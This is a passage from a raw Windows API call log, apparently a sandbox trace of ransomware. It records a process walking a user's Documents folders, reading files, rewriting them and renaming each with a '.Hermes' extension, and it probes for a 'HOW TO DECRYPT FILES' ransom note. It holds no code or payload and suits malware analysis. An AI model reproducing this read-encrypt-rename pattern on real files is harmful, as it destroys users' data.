(in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv", lpFilePart=0x0) returned 0x46 [0092.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv.Hermes", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv.Hermes", lpFilePart=0x0) returned 0x4d [0092.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de14) returned 1 [0092.260] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\nech.csv"), fInfoLevelId=0x0, lpFileInformation=0x19de90 | out: lpFileInformation=0x19de90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56521ef0, ftCreationTime.dwHighDateTime=0x1d4d123, ftLastAccessTime.dwLowDateTime=0xf9da620, ftLastAccessTime.dwHighDateTime=0x1d4d4eb, ftLastWriteTime.dwLowDateTime=0xb076d646, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xd020)) returned 1 [0092.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de10) returned 1 [0092.260] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\nech.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\nech.csv.hermes")) returned 1 [0092.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf", nBufferLength=0x105, lpBuffer=0x19d850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf", lpFilePart=0x0) returned 0x4a [0092.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd94) returned 1 [0092.261] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\rwxqrbjr.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.261] GetFileType (hFile=0x304) returned 0x1 [0092.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd90) returned 1 [0092.261] GetFileType (hFile=0x304) returned 0x1 [0092.261] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19de90 | out: lpFileSizeHigh=0x19de90*=0x0) returned 0xda7c [0092.261] ReadFile (in: hFile=0x304, lpBuffer=0x30b4d54, nNumberOfBytesToRead=0xda7c, lpNumberOfBytesRead=0x19de3c, lpOverlapped=0x0 | out: lpBuffer=0x30b4d54*, lpNumberOfBytesRead=0x19de3c*=0xda7c, lpOverlapped=0x0) returned 1 [0092.261] CloseHandle (hObject=0x304) returned 1 [0092.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d954, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de08) returned 1 [0092.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19de84 | out: lpFileInformation=0x19de84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de04) returned 1 [0092.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf", nBufferLength=0x105, lpBuffer=0x19d83c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf", lpFilePart=0x0) returned 0x4a [0092.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd80) returned 1 [0092.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\rwxqrbjr.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.278] GetFileType (hFile=0x304) returned 0x1 [0092.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd7c) returned 1 [0092.278] GetFileType (hFile=0x304) returned 0x1 [0092.278] WriteFile (in: hFile=0x304, lpBuffer=0x312aad0*, nNumberOfBytesToWrite=0xda80, lpNumberOfBytesWritten=0x19de30, lpOverlapped=0x0 | out: lpBuffer=0x312aad0*, lpNumberOfBytesWritten=0x19de30*=0xda80, lpOverlapped=0x0) returned 1 [0092.280] CloseHandle (hObject=0x304) returned 1 [0092.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf", lpFilePart=0x0) returned 0x4a [0092.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf.Hermes", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf.Hermes", lpFilePart=0x0) returned 0x51 [0092.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de14) returned 1 [0092.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\rwxqrbjr.rtf"), fInfoLevelId=0x0, lpFileInformation=0x19de90 | out: lpFileInformation=0x19de90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769b320, ftCreationTime.dwHighDateTime=0x1d4c917, ftLastAccessTime.dwLowDateTime=0x4c37fcd0, ftLastAccessTime.dwHighDateTime=0x1d4d54e, ftLastWriteTime.dwLowDateTime=0xb07938f3, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xda80)) returned 1 [0092.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de10) returned 1 [0092.282] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\rwxqrbjr.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\RwxQrbJr.rtf.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\rwxqrbjr.rtf.hermes")) returned 1 [0092.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dc5c) returned 1 [0092.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0", lpFilePart=0x0) returned 0x4b [0092.282] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x333a2be0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0xaafff1e0, ftLastAccessTime.dwHighDateTime=0x1d4d2de, ftLastWriteTime.dwLowDateTime=0xaafff1e0, ftLastWriteTime.dwHighDateTime=0x1d4d2de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb330 [0092.283] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x333a2be0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0xaafff1e0, ftLastAccessTime.dwHighDateTime=0x1d4d2de, ftLastWriteTime.dwLowDateTime=0xaafff1e0, ftLastWriteTime.dwHighDateTime=0x1d4d2de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6511700, ftCreationTime.dwHighDateTime=0x1d4d59c, ftLastAccessTime.dwLowDateTime=0x5a5216b0, ftLastAccessTime.dwHighDateTime=0x1d4cdde, ftLastWriteTime.dwLowDateTime=0x5a5216b0, ftLastWriteTime.dwHighDateTime=0x1d4cdde, nFileSizeHigh=0x0, nFileSizeLow=0xe2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="47y8mp0s.csv", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9788e0, ftCreationTime.dwHighDateTime=0x1d4d107, ftLastAccessTime.dwLowDateTime=0xd8d7e90, ftLastAccessTime.dwHighDateTime=0x1d4cebb, ftLastWriteTime.dwLowDateTime=0xd8d7e90, ftLastWriteTime.dwHighDateTime=0x1d4cebb, nFileSizeHigh=0x0, nFileSizeLow=0x848d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hi Fm0SkJi.pdf", cAlternateFileName="HIFM0S~1.PDF")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2031760, ftCreationTime.dwHighDateTime=0x1d4ce89, ftLastAccessTime.dwLowDateTime=0xf9fb9e20, ftLastAccessTime.dwHighDateTime=0x1d4d54a, ftLastWriteTime.dwLowDateTime=0xf9fb9e20, ftLastWriteTime.dwHighDateTime=0x1d4d54a, nFileSizeHigh=0x0, nFileSizeLow=0x30f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmuNPCfo0N.ots", cAlternateFileName="JMUNPC~1.OTS")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbaa0350, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x341621a0, ftLastAccessTime.dwHighDateTime=0x1d4d507, ftLastWriteTime.dwLowDateTime=0x341621a0, ftLastWriteTime.dwHighDateTime=0x1d4d507, nFileSizeHigh=0x0, nFileSizeLow=0x5d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="KwwLWKl xw1l3.pps", cAlternateFileName="KWWLWK~1.PPS")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4f22d0, ftCreationTime.dwHighDateTime=0x1d4c777, ftLastAccessTime.dwLowDateTime=0x2dcf6260, ftLastAccessTime.dwHighDateTime=0x1d4d413, ftLastWriteTime.dwLowDateTime=0x2dcf6260, ftLastWriteTime.dwHighDateTime=0x1d4d413, nFileSizeHigh=0x0, nFileSizeLow=0x2dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjQnM18Yq7so0m2EOvAa.csv", cAlternateFileName="PJQNM1~1.CSV")) returned 1 [0092.284] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.284] FindClose (in: hFindFile=0xfdb330 | out: hFindFile=0xfdb330) returned 1 [0092.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0092.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0", lpFilePart=0x0) returned 0x4b [0092.284] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x333a2be0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0xaafff1e0, ftLastAccessTime.dwHighDateTime=0x1d4d2de, ftLastWriteTime.dwLowDateTime=0xaafff1e0, ftLastWriteTime.dwHighDateTime=0x1d4d2de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb430 [0092.284] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x333a2be0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0xaafff1e0, ftLastAccessTime.dwHighDateTime=0x1d4d2de, ftLastWriteTime.dwLowDateTime=0xaafff1e0, ftLastWriteTime.dwHighDateTime=0x1d4d2de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.284] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6511700, ftCreationTime.dwHighDateTime=0x1d4d59c, ftLastAccessTime.dwLowDateTime=0x5a5216b0, ftLastAccessTime.dwHighDateTime=0x1d4cdde, ftLastWriteTime.dwLowDateTime=0x5a5216b0, ftLastWriteTime.dwHighDateTime=0x1d4cdde, nFileSizeHigh=0x0, nFileSizeLow=0xe2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="47y8mp0s.csv", cAlternateFileName="")) returned 1 [0092.285] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9788e0, ftCreationTime.dwHighDateTime=0x1d4d107, ftLastAccessTime.dwLowDateTime=0xd8d7e90, ftLastAccessTime.dwHighDateTime=0x1d4cebb, ftLastWriteTime.dwLowDateTime=0xd8d7e90, ftLastWriteTime.dwHighDateTime=0x1d4cebb, nFileSizeHigh=0x0, nFileSizeLow=0x848d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hi Fm0SkJi.pdf", cAlternateFileName="HIFM0S~1.PDF")) returned 1 [0092.285] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2031760, ftCreationTime.dwHighDateTime=0x1d4ce89, ftLastAccessTime.dwLowDateTime=0xf9fb9e20, ftLastAccessTime.dwHighDateTime=0x1d4d54a, ftLastWriteTime.dwLowDateTime=0xf9fb9e20, ftLastWriteTime.dwHighDateTime=0x1d4d54a, nFileSizeHigh=0x0, nFileSizeLow=0x30f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmuNPCfo0N.ots", cAlternateFileName="JMUNPC~1.OTS")) returned 1 [0092.285] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbaa0350, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x341621a0, ftLastAccessTime.dwHighDateTime=0x1d4d507, ftLastWriteTime.dwLowDateTime=0x341621a0, ftLastWriteTime.dwHighDateTime=0x1d4d507, nFileSizeHigh=0x0, nFileSizeLow=0x5d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="KwwLWKl xw1l3.pps", cAlternateFileName="KWWLWK~1.PPS")) returned 1 [0092.285] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4f22d0, ftCreationTime.dwHighDateTime=0x1d4c777, ftLastAccessTime.dwLowDateTime=0x2dcf6260, ftLastAccessTime.dwHighDateTime=0x1d4d413, ftLastWriteTime.dwLowDateTime=0x2dcf6260, ftLastWriteTime.dwHighDateTime=0x1d4d413, nFileSizeHigh=0x0, nFileSizeLow=0x2dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjQnM18Yq7so0m2EOvAa.csv", cAlternateFileName="PJQNM1~1.CSV")) returned 1 [0092.285] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4f22d0, ftCreationTime.dwHighDateTime=0x1d4c777, ftLastAccessTime.dwLowDateTime=0x2dcf6260, ftLastAccessTime.dwHighDateTime=0x1d4d413, ftLastWriteTime.dwLowDateTime=0x2dcf6260, ftLastWriteTime.dwHighDateTime=0x1d4d413, nFileSizeHigh=0x0, nFileSizeLow=0x2dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjQnM18Yq7so0m2EOvAa.csv", cAlternateFileName="PJQNM1~1.CSV")) returned 0 [0092.285] FindClose (in: hFindFile=0xfdb430 | out: hFindFile=0xfdb430) returned 1 [0092.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0092.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv", lpFilePart=0x0) returned 0x58 [0092.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\47y8mp0s.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.286] GetFileType (hFile=0x304) returned 0x1 [0092.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.286] GetFileType (hFile=0x304) returned 0x1 [0092.286] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0xe2c8 [0092.286] ReadFile (in: hFile=0x304, lpBuffer=0x313bafc, nNumberOfBytesToRead=0xe2c8, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x313bafc*, lpNumberOfBytesRead=0x19db6c*=0xe2c8, lpOverlapped=0x0) returned 1 [0092.286] CloseHandle (hObject=0x304) returned 1 [0092.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv", lpFilePart=0x0) returned 0x58 [0092.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\47y8mp0s.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.316] GetFileType (hFile=0x304) returned 0x1 [0092.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.317] GetFileType (hFile=0x304) returned 0x1 [0092.317] WriteFile (in: hFile=0x304, lpBuffer=0x31b3168*, nNumberOfBytesToWrite=0xe2d0, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x31b3168*, lpNumberOfBytesWritten=0x19db60*=0xe2d0, lpOverlapped=0x0) returned 1 [0092.318] CloseHandle (hObject=0x304) returned 1 [0092.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv", lpFilePart=0x0) returned 0x58 [0092.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv.Hermes", lpFilePart=0x0) returned 0x5f [0092.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\47y8mp0s.csv"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6511700, ftCreationTime.dwHighDateTime=0x1d4d59c, ftLastAccessTime.dwLowDateTime=0x5a5216b0, ftLastAccessTime.dwHighDateTime=0x1d4cdde, ftLastWriteTime.dwLowDateTime=0xb07dfe06, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xe2d0)) returned 1 [0092.321] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\47y8mp0s.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\47y8mp0s.csv.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\47y8mp0s.csv.hermes")) returned 1 [0092.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf", lpFilePart=0x0) returned 0x5a [0092.322] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\77bIp480yHDf0\\Hi Fm0SkJi.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\77bip480yhdf0\\hi fm0skji.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.322] GetFileType (hFile=0x304) returned 0x1 [0092.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 